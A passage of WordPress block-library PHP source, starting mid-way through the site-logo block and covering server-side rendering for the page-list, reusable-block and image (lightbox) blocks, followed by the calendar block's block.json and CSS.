	remove_filter( 'wp_get_attachment_image_src', $adjust_width_height_filter );

	if ( empty( $custom_logo ) ) {
		return ''; // Return early if no custom logo is set, avoiding extraneous wrapper div.
	}

	if ( ! $attributes['isLink'] ) {
		// Remove the link.
		$custom_logo = preg_replace( '#<a.*?>(.*?)</a>#i', '\1', $custom_logo );
	}

	if ( $attributes['isLink'] && '_blank' === $attributes['linkTarget'] ) {
		// Add the link target after the rel="home".
		// Add an aria-label for informing that the page opens in a new tab.
		$processor = new WP_HTML_Tag_Processor( $custom_logo );
		$processor->next_tag( 'a' );
		if ( 'home' === $processor->get_attribute( 'rel' ) ) {
			$processor->set_attribute( 'aria-label', __( '(Home link, opens in a new tab)' ) );
			$processor->set_attribute( 'target', $attributes['linkTarget'] );
		}
		$custom_logo = $processor->get_updated_html();
	}

	$classnames = array();
	if ( empty( $attributes['width'] ) ) {
		$classnames[] = 'is-default-size';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) );
	$html               = sprintf( '<div %s>%s</div>', $wrapper_attributes, $custom_logo );
	return $html;
}

/**
 * Register a core site setting for a site logo
 */
function register_block_core_site_logo_setting() {
	register_setting(
		'general',
		'site_logo',
		array(
			'show_in_rest' => array(
				'name' => 'site_logo',
			),
			'type'         => 'integer',
			'description'  => __( 'Site logo.' ),
		)
	);
}

add_action( 'rest_api_init', 'register_block_core_site_logo_setting', 10 );

/**
 * Register a core site setting for a site icon
 */
function register_block_core_site_icon_setting() {
	register_setting(
		'general',
		'site_icon',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'Site icon.' ),
		)
	);
}

add_action( 'rest_api_init', 'register_block_core_site_icon_setting', 10 );

/**
 * Registers the `core/site-logo` block on the server.
 */
function register_block_core_site_logo() {
	register_block_type_from_metadata(
		__DIR__ . '/site-logo',
		array(
			'render_callback' => 'render_block_core_site_logo',
		)
	);
}

add_action( 'init', 'register_block_core_site_logo' );

/**
 * Overrides the custom logo with a site logo, if the option is set.
 *
 * @param string $custom_logo The custom logo set by a theme.
 *
 * @return string The site logo if set.
 */
function _override_custom_logo_theme_mod( $custom_logo ) {
	$site_logo = get_option( 'site_logo' );
	return false === $site_logo ? $custom_logo : $site_logo;
}

add_filter( 'theme_mod_custom_logo', '_override_custom_logo_theme_mod' );

/**
 * Updates the site_logo option when the custom_logo theme-mod gets updated.
 *
 * @param  mixed $value Attachment ID of the custom logo or an empty value.
 * @return mixed
 */
function _sync_custom_logo_to_site_logo( $value ) {
	if ( empty( $value ) ) {
		delete_option( 'site_logo' );
	} else {
		update_option( 'site_logo', $value );
	}

	return $value;
}

add_filter( 'pre_set_theme_mod_custom_logo', '_sync_custom_logo_to_site_logo' );

/**
 * Deletes the site_logo when the custom_logo theme mod is removed.
 *
 * @param array $old_value Previous theme mod settings.
 * @param array $value     Updated theme mod settings.
 */
function _delete_site_logo_on_remove_custom_logo( $old_value, $value ) {
	global $_ignore_site_logo_changes;

	if ( $_ignore_site_logo_changes ) {
		return;
	}

	// If the custom_logo is being unset, it's being removed from theme mods.
	if ( isset( $old_value['custom_logo'] ) && ! isset( $value['custom_logo'] ) ) {
		delete_option( 'site_logo' );
	}
}

/**
 * Deletes the site logo when all theme mods are being removed.
 */
function _delete_site_logo_on_remove_theme_mods() {
	global $_ignore_site_logo_changes;

	if ( $_ignore_site_logo_changes ) {
		return;
	}

	if ( false !== get_theme_support( 'custom-logo' ) ) {
		delete_option( 'site_logo' );
	}
}

/**
 * Hooks `_delete_site_logo_on_remove_custom_logo` in `update_option_theme_mods_$theme`.
 * Hooks `_delete_site_logo_on_remove_theme_mods` in `delete_option_theme_mods_$theme`.
 *
 * Runs on `setup_theme` to account for dynamically-switched themes in the Customizer.
 */
function _delete_site_logo_on_remove_custom_logo_on_setup_theme() {
	$theme = get_option( 'stylesheet' );
	add_action( "update_option_theme_mods_$theme", '_delete_site_logo_on_remove_custom_logo', 10, 2 );
	add_action( "delete_option_theme_mods_$theme", '_delete_site_logo_on_remove_theme_mods' );
}
add_action( 'setup_theme', '_delete_site_logo_on_remove_custom_logo_on_setup_theme', 11 );

/**
 * Removes the custom_logo theme-mod when the site_logo option gets deleted.
 */
function _delete_custom_logo_on_remove_site_logo() {
	global $_ignore_site_logo_changes;

	// Prevent _delete_site_logo_on_remove_custom_logo and
	// _delete_site_logo_on_remove_theme_mods from firing and causing an
	// infinite loop.
	$_ignore_site_logo_changes = true;

	// Remove the custom logo.
	remove_theme_mod( 'custom_logo' );

	$_ignore_site_logo_changes = false;
}
add_action( 'delete_option_site_logo', '_delete_custom_logo_on_remove_site_logo' );
<?php
/**
 * Server-side rendering of the `core/pages` block.
 *
 * @package WordPress
 */

/**
 * Build an array with CSS classes and inline styles defining the colors
 * which will be applied to the pages markup in the front-end when it is a descendant of navigation.
 *
 * @param  array $attributes Block attributes.
 * @param  array $context    Navigation block context.
 * @return array Colors CSS classes and inline styles.
 */
function block_core_page_list_build_css_colors( $attributes, $context ) {
	$colors = array(
		'css_classes'           => array(),
		'inline_styles'         => '',
		'overlay_css_classes'   => array(),
		'overlay_inline_styles' => '',
	);

	// Text color.
	$has_named_text_color  = array_key_exists( 'textColor', $context );
	$has_picked_text_color = array_key_exists( 'customTextColor', $context );
	$has_custom_text_color = isset( $context['style']['color']['text'] );

	// If has text color.
	if ( $has_custom_text_color || $has_picked_text_color || $has_named_text_color ) {
		// Add has-text-color class.
		$colors['css_classes'][] = 'has-text-color';
	}

	if ( $has_named_text_color ) {
		// Add the color class.
		$colors['css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['textColor'] ) );
	} elseif ( $has_picked_text_color ) {
		$colors['inline_styles'] .= sprintf( 'color: %s;', $context['customTextColor'] );
	} elseif ( $has_custom_text_color ) {
		// Add the custom color inline style.
		$colors['inline_styles'] .= sprintf( 'color: %s;', $context['style']['color']['text'] );
	}

	// Background color.
	$has_named_background_color  = array_key_exists( 'backgroundColor', $context );
	$has_picked_background_color = array_key_exists( 'customBackgroundColor', $context );
	$has_custom_background_color = isset( $context['style']['color']['background'] );

	// If has background color.
	if ( $has_custom_background_color || $has_picked_background_color || $has_named_background_color ) {
		// Add has-background class.
		$colors['css_classes'][] = 'has-background';
	}

	if ( $has_named_background_color ) {
		// Add the background-color class.
		$colors['css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['backgroundColor'] ) );
	} elseif ( $has_picked_background_color ) {
		$colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['customBackgroundColor'] );
	} elseif ( $has_custom_background_color ) {
		// Add the custom background-color inline style.
		$colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['style']['color']['background'] );
	}

	// Overlay text color.
	$has_named_overlay_text_color  = array_key_exists( 'overlayTextColor', $context );
	$has_picked_overlay_text_color = array_key_exists( 'customOverlayTextColor', $context );

	// If it has a text color.
	if ( $has_named_overlay_text_color || $has_picked_overlay_text_color ) {
		$colors['overlay_css_classes'][] = 'has-text-color';
	}

	// Give overlay colors priority, fall back to Navigation block colors, then global styles.
	if ( $has_named_overlay_text_color ) {
		$colors['overlay_css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['overlayTextColor'] ) );
	} elseif ( $has_picked_overlay_text_color ) {
		$colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $context['customOverlayTextColor'] );
	}

	// Overlay background colors.
	$has_named_overlay_background_color  = array_key_exists( 'overlayBackgroundColor', $context );
	$has_picked_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $context );

	// If has background color.
	if ( $has_named_overlay_background_color || $has_picked_overlay_background_color ) {
		$colors['overlay_css_classes'][] = 'has-background';
	}

	if ( $has_named_overlay_background_color ) {
		$colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['overlayBackgroundColor'] ) );
	} elseif ( $has_picked_overlay_background_color ) {
		$colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $context['customOverlayBackgroundColor'] );
	}

	return $colors;
}

/**
 * Build an array with CSS classes and inline styles defining the font sizes
 * which will be applied to the pages markup in the front-end when it is a descendant of navigation.
 *
 * @param  array $context Navigation block context.
 * @return array Font size CSS classes and inline styles.
 */
function block_core_page_list_build_css_font_sizes( $context ) {
	// CSS classes.
	$font_sizes = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	$has_named_font_size  = array_key_exists( 'fontSize', $context );
	$has_custom_font_size = isset( $context['style']['typography']['fontSize'] );

	if ( $has_named_font_size ) {
		// Add the font size class.
		$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] );
	} elseif ( $has_custom_font_size ) {
		// Add the custom font size inline style.
		$font_sizes['inline_styles'] = sprintf(
			'font-size: %s;',
			wp_get_typography_font_size_value(
				array(
					'size' => $context['style']['typography']['fontSize'],
				)
			)
		);
	}

	return $font_sizes;
}

/**
 * Outputs Page list markup from an array of pages with nested children.
 *
 * @param boolean $open_submenus_on_click Whether to open submenus on click instead of hover.
 * @param boolean $show_submenu_icons Whether to show submenu indicator icons.
 * @param boolean $is_navigation_child If block is a child of Navigation block.
 * @param array   $nested_pages The array of nested pages.
 * @param boolean $is_nested Whether the submenu is nested or not.
 * @param array   $active_page_ancestor_ids An array of ancestor ids for active page.
 * @param array   $colors Color information for overlay styles.
 * @param integer $depth The nesting depth.
 *
 * @return string List markup.
 */
function block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $nested_pages, $is_nested, $active_page_ancestor_ids = array(), $colors = array(), $depth = 0 ) {
	if ( empty( $nested_pages ) ) {
		return;
	}
	$front_page_id = (int) get_option( 'page_on_front' );
	$markup        = '';
	foreach ( (array) $nested_pages as $page ) {
		$css_class       = $page['is_active'] ? ' current-menu-item' : '';
		$aria_current    = $page['is_active'] ? ' aria-current="page"' : '';
		$style_attribute = '';

		$css_class .= in_array( $page['page_id'], $active_page_ancestor_ids, true ) ? ' current-menu-ancestor' : '';
		if ( isset( $page['children'] ) ) {
			$css_class .= ' has-child';
		}

		if ( $is_navigation_child ) {
			$css_class .= ' wp-block-navigation-item';

			if ( $open_submenus_on_click ) {
				$css_class .= ' open-on-click';
			} elseif ( $show_submenu_icons ) {
				$css_class .= ' open-on-hover-click';
			}
		}

		$navigation_child_content_class = $is_navigation_child ? ' wp-block-navigation-item__content' : '';

		// If this is the first level of submenus, include the overlay colors.
		if ( ( ( 0 < $depth && ! $is_nested ) || $is_nested ) && isset( $colors['overlay_css_classes'], $colors['overlay_inline_styles'] ) ) {
			$css_class .= ' ' . trim( implode( ' ', $colors['overlay_css_classes'] ) );
			if ( '' !== $colors['overlay_inline_styles'] ) {
				$style_attribute = sprintf( ' style="%s"', esc_attr( $colors['overlay_inline_styles'] ) );
			}
		}

		if ( (int) $page['page_id'] === $front_page_id ) {
			$css_class .= ' menu-item-home';
		}

		$title      = wp_kses_post( $page['title'] );
		$aria_label = sprintf(
			/* translators: Accessibility text. %s: Parent page title. */
			__( '%s submenu' ),
			wp_strip_all_tags( $title )
		);

		$markup .= '<li class="wp-block-pages-list__item' . esc_attr( $css_class ) . '"' . $style_attribute . '>';

		if ( isset( $page['children'] ) && $is_navigation_child && $open_submenus_on_click ) {
			$markup .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="' . esc_attr( $navigation_child_content_class ) . ' wp-block-navigation-submenu__toggle" aria-expanded="false">' . esc_html( $title ) .
			'</button><span class="wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon"><svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg></span>';
		} else {
			$markup .= '<a class="wp-block-pages-list__item__link' . esc_attr( $navigation_child_content_class ) . '" href="' . esc_url( $page['link'] ) . '"' . $aria_current . '>' . $title . '</a>';
		}

		if ( isset( $page['children'] ) ) {
			if ( $is_navigation_child && $show_submenu_icons && ! $open_submenus_on_click ) {
				$markup .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation__submenu-icon wp-block-navigation-submenu__toggle" aria-expanded="false">';
				$markup .= '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>';
				$markup .= '</button>';
			}
			$markup .= '<ul class="wp-block-navigation__submenu-container">';
			$markup .= block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $page['children'], $is_nested, $active_page_ancestor_ids, $colors, $depth + 1 );
			$markup .= '</ul>';
		}
		$markup .= '</li>';
	}
	return $markup;
}

/**
 * Outputs nested array of pages
 *
 * @param array $current_level The level being iterated through.
 * @param array $children The children grouped by parent post ID.
 *
 * @return array The nested array of pages.
 */
function block_core_page_list_nest_pages( $current_level, $children ) {
	if ( empty( $current_level ) ) {
		return;
	}
	foreach ( (array) $current_level as $key => $current ) {
		if ( isset( $children[ $key ] ) ) {
			$current_level[ $key ]['children'] = block_core_page_list_nest_pages( $children[ $key ], $children );
		}
	}
	return $current_level;
}

/**
 * Renders the `core/page-list` block on server.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The saved content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string Returns the page list markup.
 */
function render_block_core_page_list( $attributes, $content, $block ) {
	static $block_id = 0;
	++$block_id;

	$parent_page_id = $attributes['parentPageID'];
	$is_nested      = $attributes['isNested'];

	$all_pages = get_pages(
		array(
			'sort_column' => 'menu_order,post_title',
			'order'       => 'asc',
		)
	);

	// If there are no pages, there is nothing to show.
	if ( empty( $all_pages ) ) {
		return;
	}

	$top_level_pages = array();

	$pages_with_children = array();

	$active_page_ancestor_ids = array();

	foreach ( (array) $all_pages as $page ) {
		$is_active = ! empty( $page->ID ) && ( get_queried_object_id() === $page->ID );

		if ( $is_active ) {
			$active_page_ancestor_ids = get_post_ancestors( $page->ID );
		}

		if ( $page->post_parent ) {
			$pages_with_children[ $page->post_parent ][ $page->ID ] = array(
				'page_id'   => $page->ID,
				'title'     => $page->post_title,
				'link'      => get_permalink( $page ),
				'is_active' => $is_active,
			);
		} else {
			$top_level_pages[ $page->ID ] = array(
				'page_id'   => $page->ID,
				'title'     => $page->post_title,
				'link'      => get_permalink( $page ),
				'is_active' => $is_active,
			);

		}
	}

	$colors          = block_core_page_list_build_css_colors( $attributes, $block->context );
	$font_sizes      = block_core_page_list_build_css_font_sizes( $block->context );
	$classes         = array_merge(
		$colors['css_classes'],
		$font_sizes['css_classes']
	);
	$style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] );
	$css_classes     = trim( implode( ' ', $classes ) );

	$nested_pages = block_core_page_list_nest_pages( $top_level_pages, $pages_with_children );

	if ( 0 !== $parent_page_id ) {
		// If the parent page has no child pages, there is nothing to show.
		if ( ! array_key_exists( $parent_page_id, $pages_with_children ) ) {
			return;
		}

		$nested_pages = block_core_page_list_nest_pages(
			$pages_with_children[ $parent_page_id ],
			$pages_with_children
		);
	}

	$is_navigation_child = array_key_exists( 'showSubmenuIcon', $block->context );

	$open_submenus_on_click = array_key_exists( 'openSubmenusOnClick', $block->context ) ? $block->context['openSubmenusOnClick'] : false;

	$show_submenu_icons = array_key_exists( 'showSubmenuIcon', $block->context ) ? $block->context['showSubmenuIcon'] : false;

	$wrapper_markup = $is_nested ? '%2$s' : '<ul %1$s>%2$s</ul>';

	$items_markup = block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $nested_pages, $is_nested, $active_page_ancestor_ids, $colors );

	$wrapper_attributes = get_block_wrapper_attributes(
		array(
			'class' => $css_classes,
			'style' => $style_attribute,
		)
	);

	return sprintf(
		$wrapper_markup,
		$wrapper_attributes,
		$items_markup
	);
}

/**
 * Registers the `core/pages` block on server.
 */
function register_block_core_page_list() {
	register_block_type_from_metadata(
		__DIR__ . '/page-list',
		array(
			'render_callback' => 'render_block_core_page_list',
		)
	);
}
add_action( 'init', 'register_block_core_page_list' );
<?php
/**
 * Server-side rendering of the `core/block` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/block` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Rendered HTML of the referenced block.
 */
function render_block_core_block( $attributes ) {
	static $seen_refs = array();

	if ( empty( $attributes['ref'] ) ) {
		return '';
	}

	$reusable_block = get_post( $attributes['ref'] );
	if ( ! $reusable_block || 'wp_block' !== $reusable_block->post_type ) {
		return '';
	}

	if ( isset( $seen_refs[ $attributes['ref'] ] ) ) {
		// WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent
		// is set in `wp_debug_mode()`.
		$is_debug = WP_DEBUG && WP_DEBUG_DISPLAY;

		return $is_debug ?
			// translators: Visible only in the front end, this warning takes the place of a faulty block.
			__( '[block rendering halted]' ) :
			'';
	}

	if ( 'publish' !== $reusable_block->post_status || ! empty( $reusable_block->post_password ) ) {
		return '';
	}

	$seen_refs[ $attributes['ref'] ] = true;

	// Handle embeds for reusable blocks.
	global $wp_embed;
	$content = $wp_embed->run_shortcode( $reusable_block->post_content );
	$content = $wp_embed->autoembed( $content );

	// Back compat.
	// For blocks that have not been migrated in the editor, add some back compat
	// so that front-end rendering continues to work.

	// This matches the `v2` deprecation. Removes the inner `values` property
	// from every item.
	if ( isset( $attributes['content'] ) ) {
		foreach ( $attributes['content'] as &$content_data ) {
			if ( isset( $content_data['values'] ) ) {
				$is_assoc_array = is_array( $content_data['values'] ) && ! wp_is_numeric_array( $content_data['values'] );

				if ( $is_assoc_array ) {
					$content_data = $content_data['values'];
				}
			}
		}
	}

	// This matches the `v1` deprecation. Rename `overrides` to `content`.
	if ( isset( $attributes['overrides'] ) && ! isset( $attributes['content'] ) ) {
		$attributes['content'] = $attributes['overrides'];
	}

	/**
	 * We set the `pattern/overrides` context through the `render_block_context`
	 * filter so that it is available when a pattern's inner blocks are
	 * rendering via do_blocks given it only receives the inner content.
	 */
	$has_pattern_overrides = isset( $attributes['content'] );
	if ( $has_pattern_overrides ) {
		$filter_block_context = static function ( $context ) use ( $attributes ) {
			$context['pattern/overrides'] = $attributes['content'];
			return $context;
		};
		add_filter( 'render_block_context', $filter_block_context, 1 );
	}

	$content = do_blocks( $content );
	unset( $seen_refs[ $attributes['ref'] ] );

	if ( $has_pattern_overrides ) {
		remove_filter( 'render_block_context', $filter_block_context, 1 );
	}

	return $content;
}

/**
 * Registers the `core/block` block.
 */
function register_block_core_block() {
	register_block_type_from_metadata(
		__DIR__ . '/block',
		array(
			'render_callback' => 'render_block_core_block',
		)
	);
}
add_action( 'init', 'register_block_core_block' );
<?php
/**
 * Server-side rendering of the `core/image` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/image` block on the server,
 * adding a data-id attribute to the element if core/gallery has added on pre-render.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The block content.
 * @param WP_Block $block      The block object.
 *
 * @return string The block content with the data-id attribute added.
 */
function render_block_core_image( $attributes, $content, $block ) {
	if ( false === stripos( $content, '<img' ) ) {
		return '';
	}

	$p = new WP_HTML_Tag_Processor( $content );

	if ( ! $p->next_tag( 'img' ) || null === $p->get_attribute( 'src' ) ) {
		return '';
	}

	if ( isset( $attributes['data-id'] ) ) {
		// Adds the data-id="$id" attribute to the img element to provide backwards
		// compatibility for the Gallery Block, which now wraps Image Blocks within
		// innerBlocks. The data-id attribute is added in a core/gallery
		// `render_block_data` hook.
		$p->set_attribute( 'data-id', $attributes['data-id'] );
	}

	$link_destination  = isset( $attributes['linkDestination'] ) ? $attributes['linkDestination'] : 'none';
	$lightbox_settings = block_core_image_get_lightbox_settings( $block->parsed_block );

	/*
	 * If the lightbox is enabled and the image is not linked, adds the filter and
	 * the JavaScript view file.
	 */
	if (
		isset( $lightbox_settings ) &&
		'none' === $link_destination &&
		isset( $lightbox_settings['enabled'] ) &&
		true === $lightbox_settings['enabled']
	) {
		$suffix = wp_scripts_get_suffix();
		if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) {
			$module_url = gutenberg_url( '/build/interactivity/image.min.js' );
		}

		wp_register_script_module(
			'@wordpress/block-library/image',
			isset( $module_url ) ? $module_url : includes_url( "blocks/image/view{$suffix}.js" ),
			array( '@wordpress/interactivity' ),
			defined( 'GUTENBERG_VERSION' ) ? GUTENBERG_VERSION : get_bloginfo( 'version' )
		);

		wp_enqueue_script_module( '@wordpress/block-library/image' );

		/*
		 * This render needs to happen in a filter with priority 15 to ensure that
		 * it runs after the duotone filter and that duotone styles are applied to
		 * the image in the lightbox. Lightbox has to work with any plugins that
		 * might use filters as well. Removing this can be considered in the future
		 * if the way the blocks are rendered changes, or if a new kind of filter is
		 * introduced.
		 */
		add_filter( 'render_block_core/image', 'block_core_image_render_lightbox', 15, 2 );
	} else {
		/*
		 * Remove the filter if previously added by other Image blocks.
		 */
		remove_filter( 'render_block_core/image', 'block_core_image_render_lightbox', 15 );
	}

	return $p->get_updated_html();
}

/**
 * Adds the lightboxEnabled flag to the block data.
 *
 * This is used to determine whether the lightbox should be rendered or not.
 *
 * @param array $block Block data.
 *
 * @return array Filtered block data.
 */
function block_core_image_get_lightbox_settings( $block ) {
	// Gets the lightbox setting from the block attributes.
	if ( isset( $block['attrs']['lightbox'] ) ) {
		$lightbox_settings = $block['attrs']['lightbox'];
	}

	if ( ! isset( $lightbox_settings ) ) {
		$lightbox_settings = wp_get_global_settings( array( 'lightbox' ), array( 'block_name' => 'core/image' ) );

		// If not present in global settings, check the top-level global settings.
		//
		// NOTE: If no block-level settings are found, the previous call to
		// `wp_get_global_settings` will return the whole `theme.json` structure in
		// which case we can check if the "lightbox" key is present at the top-level
		// of the global settings and use its value.
		if ( isset( $lightbox_settings['lightbox'] ) ) {
			$lightbox_settings = wp_get_global_settings( array( 'lightbox' ) );
		}
	}

	return $lightbox_settings ?? null;
}

/**
 * Adds the directives and layout needed for the lightbox behavior.
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 *
 * @return string Filtered block content.
 */
function block_core_image_render_lightbox( $block_content, $block ) {
	/*
	 * If there's no IMG tag in the block then return the given block content
	 * as-is. There's nothing that this code can knowingly modify to add the
	 * lightbox behavior.
	 */
	$p = new WP_HTML_Tag_Processor( $block_content );
	if ( $p->next_tag( 'figure' ) ) {
		$p->set_bookmark( 'figure' );
	}
	if ( ! $p->next_tag( 'img' ) ) {
		return $block_content;
	}

	$alt              = $p->get_attribute( 'alt' );
	$img_uploaded_src = $p->get_attribute( 'src' );
	$img_class_names  = $p->get_attribute( 'class' );
	$img_styles       = $p->get_attribute( 'style' );
	$img_width        = 'none';
	$img_height       = 'none';
	$aria_label       = __( 'Enlarge image' );

	if ( $alt ) {
		/* translators: %s: Image alt text. */
		$aria_label = sprintf( __( 'Enlarge image: %s' ), $alt );
	}

	if ( isset( $block['attrs']['id'] ) ) {
		$img_uploaded_src = wp_get_attachment_url( $block['attrs']['id'] );
		$img_metadata     = wp_get_attachment_metadata( $block['attrs']['id'] );
		$img_width        = $img_metadata['width'] ?? 'none';
		$img_height       = $img_metadata['height'] ?? 'none';
	}

	// Figure.
	$p->seek( 'figure' );
	$figure_class_names = $p->get_attribute( 'class' );
	$figure_styles      = $p->get_attribute( 'style' );
	$p->add_class( 'wp-lightbox-container' );
	$p->set_attribute( 'data-wp-interactive', 'core/image' );
	$p->set_attribute(
		'data-wp-context',
		wp_json_encode(
			array(
				'uploadedSrc'      => $img_uploaded_src,
				'figureClassNames' => $figure_class_names,
				'figureStyles'     => $figure_styles,
				'imgClassNames'    => $img_class_names,
				'imgStyles'        => $img_styles,
				'targetWidth'      => $img_width,
				'targetHeight'     => $img_height,
				'scaleAttr'        => $block['attrs']['scale'] ?? false,
				'ariaLabel'        => $aria_label,
				'alt'              => $alt,
			),
			JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP
		)
	);

	// Image.
	$p->next_tag( 'img' );
	$p->set_attribute( 'data-wp-init', 'callbacks.setButtonStyles' );
	$p->set_attribute( 'data-wp-on--load', 'callbacks.setButtonStyles' );
	$p->set_attribute( 'data-wp-on-window--resize', 'callbacks.setButtonStyles' );
	// Sets an event callback on the `img` because the `figure` element can also
	// contain a caption, and we don't want to trigger the lightbox when the
	// caption is clicked.
	$p->set_attribute( 'data-wp-on--click', 'actions.showLightbox' );

	$body_content = $p->get_updated_html();

	// Adds a button alongside image in the body content.
	$img = null;
	preg_match( '/<img[^>]+>/', $body_content, $img );

	$button =
		$img[0]
		. '<button
			class="lightbox-trigger"
			type="button"
			aria-haspopup="dialog"
			aria-label="' . esc_attr( $aria_label ) . '"
			data-wp-init="callbacks.initTriggerButton"
			data-wp-on--click="actions.showLightbox"
			data-wp-style--right="context.imageButtonRight"
			data-wp-style--top="context.imageButtonTop"
		>
			<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
				<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
			</svg>
		</button>';

	$body_content = preg_replace( '/<img[^>]+>/', $button, $body_content );

	add_action( 'wp_footer', 'block_core_image_print_lightbox_overlay' );

	return $body_content;
}

function block_core_image_print_lightbox_overlay() {
	$close_button_label = esc_attr__( 'Close' );

	// If the current theme does NOT have a `theme.json`, or the colors are not
	// defined, it needs to set the background color & close button color to some
	// default values because it can't get them from the Global Styles.
	$background_color   = '#fff';
	$close_button_color = '#000';
	if ( wp_theme_has_theme_json() ) {
		$global_styles_color = wp_get_global_styles( array( 'color' ) );
		if ( ! empty( $global_styles_color['background'] ) ) {
			$background_color = esc_attr( $global_styles_color['background'] );
		}
		if ( ! empty( $global_styles_color['text'] ) ) {
			$close_button_color = esc_attr( $global_styles_color['text'] );
		}
	}

	echo <<<HTML
		<div 
			class="wp-lightbox-overlay zoom"
			data-wp-interactive="core/image"
			data-wp-context='{}'
			data-wp-bind--role="state.roleAttribute"
			data-wp-bind--aria-label="state.currentImage.ariaLabel"
			data-wp-bind--aria-modal="state.ariaModal"
			data-wp-class--active="state.overlayEnabled"
			data-wp-class--show-closing-animation="state.showClosingAnimation"
			data-wp-watch="callbacks.setOverlayFocus"
			data-wp-on--keydown="actions.handleKeydown"
			data-wp-on--touchstart="actions.handleTouchStart"
			data-wp-on--touchmove="actions.handleTouchMove"
			data-wp-on--touchend="actions.handleTouchEnd"
			data-wp-on--click="actions.hideLightbox"
			data-wp-on-window--resize="callbacks.setOverlayStyles"
			data-wp-on-window--scroll="actions.handleScroll"
			tabindex="-1"
			>
				<button type="button" aria-label="$close_button_label" style="fill: $close_button_color" class="close-button">
					<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="20" height="20" aria-hidden="true" focusable="false"><path d="M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"></path></svg>
				</button>
				<div class="lightbox-image-container">
					<figure data-wp-bind--class="state.currentImage.figureClassNames" data-wp-bind--style="state.currentImage.figureStyles">
						<img data-wp-bind--alt="state.currentImage.alt" data-wp-bind--class="state.currentImage.imgClassNames" data-wp-bind--style="state.imgStyles" data-wp-bind--src="state.currentImage.currentSrc">
					</figure>
				</div>
				<div class="lightbox-image-container">
					<figure data-wp-bind--class="state.currentImage.figureClassNames" data-wp-bind--style="state.currentImage.figureStyles">
						<img data-wp-bind--alt="state.currentImage.alt" data-wp-bind--class="state.currentImage.imgClassNames" data-wp-bind--style="state.imgStyles" data-wp-bind--src="state.enlargedSrc">
					</figure>
				</div>
				<div class="scrim" style="background-color: $background_color" aria-hidden="true"></div>
				<style data-wp-text="state.overlayStyles"></style>
		</div>
HTML;
}

/**
 * Registers the `core/image` block on server.
 */
function register_block_core_image() {
	register_block_type_from_metadata(
		__DIR__ . '/image',
		array(
			'render_callback' => 'render_block_core_image',
		)
	);
}
add_action( 'init', 'register_block_core_image' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/calendar",
	"title": "Calendar",
	"category": "widgets",
	"description": "A calendar of your site’s posts.",
	"keywords": [ "posts", "archive" ],
	"textdomain": "default",
	"attributes": {
		"month": {
			"type": "integer"
		},
		"year": {
			"type": "integer"
		}
	},
	"supports": {
		"align": true,
		"color": {
			"link": true,
			"__experimentalSkipSerialization": [ "text", "background" ],
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			},
			"__experimentalSelector": "table, th"
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-calendar"
}
.wp-block-calendar{
  text-align:center;
}
.wp-block-calendar td,.wp-block-calendar th{
  border:1px solid;
  padding:.25em;
}
.wp-block-calendar th{
  font-weight:400;
}
.wp-block-calendar caption{
  background-color:inherit;
}
.wp-block-calendar table{
  border-collapse:collapse;
  width:100%;
}
